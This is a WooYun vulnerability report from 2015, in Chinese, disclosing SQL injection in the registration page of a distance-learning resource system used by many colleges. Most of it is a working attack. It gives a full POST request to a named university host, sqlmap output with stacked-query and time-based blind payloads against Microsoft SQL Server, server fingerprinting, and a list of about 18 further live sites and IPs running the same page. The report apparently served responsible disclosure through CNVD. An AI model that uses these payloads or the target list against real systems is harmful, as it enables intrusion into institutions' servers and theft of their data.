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缺陷编号：wooyun-2015-0109346

漏洞标题：某通用型学习系统SQL注入

相关厂商：中央广播电视大学现代远程教育

漏洞作者： 大象

提交时间：2015-04-21 14:25

修复时间：2015-07-23 14:20

公开时间：2015-07-23 14:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-21： 细节已通知厂商并且等待厂商处理中
2015-04-24： 厂商已经确认，细节仅向厂商公开
2015-04-27： 细节向第三方安全合作伙伴开放
2015-06-18： 细节向核心白帽子及相关领域专家公开
2015-06-28： 细节向普通白帽子公开
2015-07-08： 细节向实习白帽子公开
2015-07-23： 细节向公众公开

简要描述：

RT

详细说明：

由中央广播电视大学现代远程教育开发的一套资源中心系统，众多高校在使用，之前有人提交过该系统的问题。

 WooYun: 某通用型学习系统存在sql盲注


随便看了下，还存在另一处注入。
以

http://nerc.hnrtu.edu.cn/frontend/member/register_setp3.aspx?type=person

为例，
用户注册处，用户名参数存在注入。

POST /frontend/member/register_setp3.aspx?type=person HTTP/1.1
Host: nerc.hnrtu.edu.cn
Proxy-Connection: keep-alive
Content-Length: 948
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://nerc.hnrtu.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://nerc.hnrtu.edu.cn/frontend/member/register_setp3.aspx?type=person
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: ASP.NET_SessionId=iwejufq25zhludj1hyb0jvne
__VIEWSTATE=%2FwEPDwUKLTQwMTI5MDcyMQ9kFgJmD2QWFgIDDw8WAh4HVmlzaWJsZWhkFgICAw8WAh8AaGQCBQ8WAh8AaGQCBw9kFgRmD2QWAgIBDw9kFgIeB29uY2xpY2sFG3JldHVybiBDaGVja1JlZ1N1Ym1pdFRvcCgpO2QCAQ8WAh8AaGQCDQ8PZBYCHgpvbmtleXByZXNzBRdFbnRlclRleHRCb3goJ2J0bk5leHQnKWQCDw88KwAEAQAPFgQeBVZhbHVlBQM6aG4eDl8hVXNlVmlld1N0YXRlZ2RkAhEPD2QWAh8CBRdFbnRlclRleHRCb3goJ2J0bk5leHQnKWQCEw8PZBYCHwIFF0VudGVyVGV4dEJveCgnYnRuTmV4dCcpZAIVDw9kFgIfAgUXRW50ZXJUZXh0Qm94KCdidG5OZXh0JylkAhcPD2QWAh8CBRdFbnRlclRleHRCb3goJ2J0bk5leHQnKWQCGQ8PZBYCHwIFF0VudGVyVGV4dEJveCgnYnRuTmV4dCcpZAIbDw9kFgIfAQUYcmV0dXJuIENoZWNrUmVnU3VibWl0KCk7ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUSdWNfbG9naW4xJGJ0bkxvZ2lu5OUfpy%2FEwHm%2FVz%2FMsy9K0UiFE9E%3D&__VIEWSTATEGENERATOR=AD7A3F07&centerShortName1=%3Ahn&arrcity_3word=&arrcity=&txtAccountPassword=&txtAccount=admin1&txtPassword=admin1&txtPasswordConfirm=admin1&txtQuestion=admin&txtAnswer=admin&txtEmail=admin%4022.com&btnNext=%E4%B8%8B%E4%B8%80%E6%AD%A5


POST parameter 'txtAccount' is vulnerable. Do you want to keep testing the other
s (if any)? [y/N] n
sqlmap identified the following injection points with a total of 87 HTTP(s) requ
ests:
---
Place: POST
Parameter: txtAccount
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUKLTQwMTI5MDcyMQ9kFgJmD2QWFgIDDw8WAh4HVmlzaWJsZWh
kFgICAw8WAh8AaGQCBQ8WAh8AaGQCBw9kFgRmD2QWAgIBDw9kFgIeB29uY2xpY2sFG3JldHVybiBDaGV
ja1JlZ1N1Ym1pdFRvcCgpO2QCAQ8WAh8AaGQCDQ8PZBYCHgpvbmtleXByZXNzBRdFbnRlclRleHRCb3g
oJ2J0bk5leHQnKWQCDw88KwAEAQAPFgQeBVZhbHVlBQM6aG4eDl8hVXNlVmlld1N0YXRlZ2RkAhEPD2Q
WAh8CBRdFbnRlclRleHRCb3goJ2J0bk5leHQnKWQCEw8PZBYCHwIFF0VudGVyVGV4dEJveCgnYnRuTmV
4dCcpZAIVDw9kFgIfAgUXRW50ZXJUZXh0Qm94KCdidG5OZXh0JylkAhcPD2QWAh8CBRdFbnRlclRleHR
Cb3goJ2J0bk5leHQnKWQCGQ8PZBYCHwIFF0VudGVyVGV4dEJveCgnYnRuTmV4dCcpZAIbDw9kFgIfAQU
YcmV0dXJuIENoZWNrUmVnU3VibWl0KCk7ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18
WAQUSdWNfbG9naW4xJGJ0bkxvZ2lu5OUfpy/EwHm/Vz/Msy9K0UiFE9E=&__VIEWSTATEGENERATOR=A
D7A3F07&centerShortName1=:hn&arrcity_3word=&arrcity=&txtAccountPassword=&txtAcco
unt=admin1'; WAITFOR DELAY '0:0:5'--&txtPassword=admin1&txtPasswordConfirm=admin
1&txtQuestion=admin&txtAnswer=admin&txtEmail=admin@22.com&btnNext=%E4%B8%8B%E4%B
8%80%E6%AD%A5
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUKLTQwMTI5MDcyMQ9kFgJmD2QWFgIDDw8WAh4HVmlzaWJsZWh
kFgICAw8WAh8AaGQCBQ8WAh8AaGQCBw9kFgRmD2QWAgIBDw9kFgIeB29uY2xpY2sFG3JldHVybiBDaGV
ja1JlZ1N1Ym1pdFRvcCgpO2QCAQ8WAh8AaGQCDQ8PZBYCHgpvbmtleXByZXNzBRdFbnRlclRleHRCb3g
oJ2J0bk5leHQnKWQCDw88KwAEAQAPFgQeBVZhbHVlBQM6aG4eDl8hVXNlVmlld1N0YXRlZ2RkAhEPD2Q
WAh8CBRdFbnRlclRleHRCb3goJ2J0bk5leHQnKWQCEw8PZBYCHwIFF0VudGVyVGV4dEJveCgnYnRuTmV
4dCcpZAIVDw9kFgIfAgUXRW50ZXJUZXh0Qm94KCdidG5OZXh0JylkAhcPD2QWAh8CBRdFbnRlclRleHR
Cb3goJ2J0bk5leHQnKWQCGQ8PZBYCHwIFF0VudGVyVGV4dEJveCgnYnRuTmV4dCcpZAIbDw9kFgIfAQU
YcmV0dXJuIENoZWNrUmVnU3VibWl0KCk7ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18
WAQUSdWNfbG9naW4xJGJ0bkxvZ2lu5OUfpy/EwHm/Vz/Msy9K0UiFE9E=&__VIEWSTATEGENERATOR=A
D7A3F07&centerShortName1=:hn&arrcity_3word=&arrcity=&txtAccountPassword=&txtAcco
unt=admin1' WAITFOR DELAY '0:0:5'--&txtPassword=admin1&txtPasswordConfirm=admin1
&txtQuestion=admin&txtAnswer=admin&txtEmail=admin@22.com&btnNext=%E4%B8%8B%E4%B8
%80%E6%AD%A5
---
[18:18:20] [INFO] testing Microsoft SQL Server
[18:18:20] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[18:18:29] [INFO] confirming Microsoft SQL Server
[18:18:40] [INFO] adjusting time delay to 3 seconds due to good response times
[18:18:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[18:18:41] [INFO] fetched data logged to text files under 'C:\Users\sith\.sqlmap
\output\nerc.hnrtu.edu.cn'


B.jpg

漏洞证明：

其他测试案例：

http://nerc.szpt.edu.cn/frontend/member/register_setp3.aspx?type=person
http://zy.cdrtvu.com/frontend/member/register_setp3.aspx?type=person
http://210.28.225.145/frontend/member/register_setp3.aspx?type=person
http://110.167.234.52/frontend/member/register_setp3.aspx?type=person
http://xxzy.hekg.cn/frontend/member/register_setp3.aspx?type=person
http://nerc.gdjmxx.com/frontend/member/register_setp3.aspx?type=person
http://nerc.gzedu.com/frontend/member/register_setp3.aspx?type=person
http://zyzx.whtvu.com.cn/FrontEnd/member/register_setp3.aspx?type=person
http://222.91.161.219/FrontEnd/member/register_setp3.aspx?type=person
http://resource.jsgyve.com/FrontEnd/member/register_setp3.aspx?type=person
http://zyzx.shztvu.com:8002/FrontEnd/member/register_setp3.aspx?type=person
http://210.28.216.240/FrontEnd/member/register_setp3.aspx?type=person
http://learn.ybzy.cn/FrontEnd/member/register_setp3.aspx?type=person
http://61.177.123.76/FrontEnd/member/register_setp3.aspx?type=person
http://218.13.33.153/FrontEnd/member/register_setp3.aspx?type=person
http://res.yxgcx.com:8080/FrontEnd/member/register_setp3.aspx?type=person
http://nerc.szrtvu.com.cn/FrontEnd/member/register_setp3.aspx?type=person
http://218.26.168.18/FrontEnd/member/register_setp3.aspx?type=person

修复方案：

版权声明：转载请注明来源 大象@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2015-04-24 14:18

厂商回复：

CNVD未直接复现所述情况，已经由CNVD通过网站公开联系方式向软件生产厂商通报。

最新状态：

暂无

漏洞评价：

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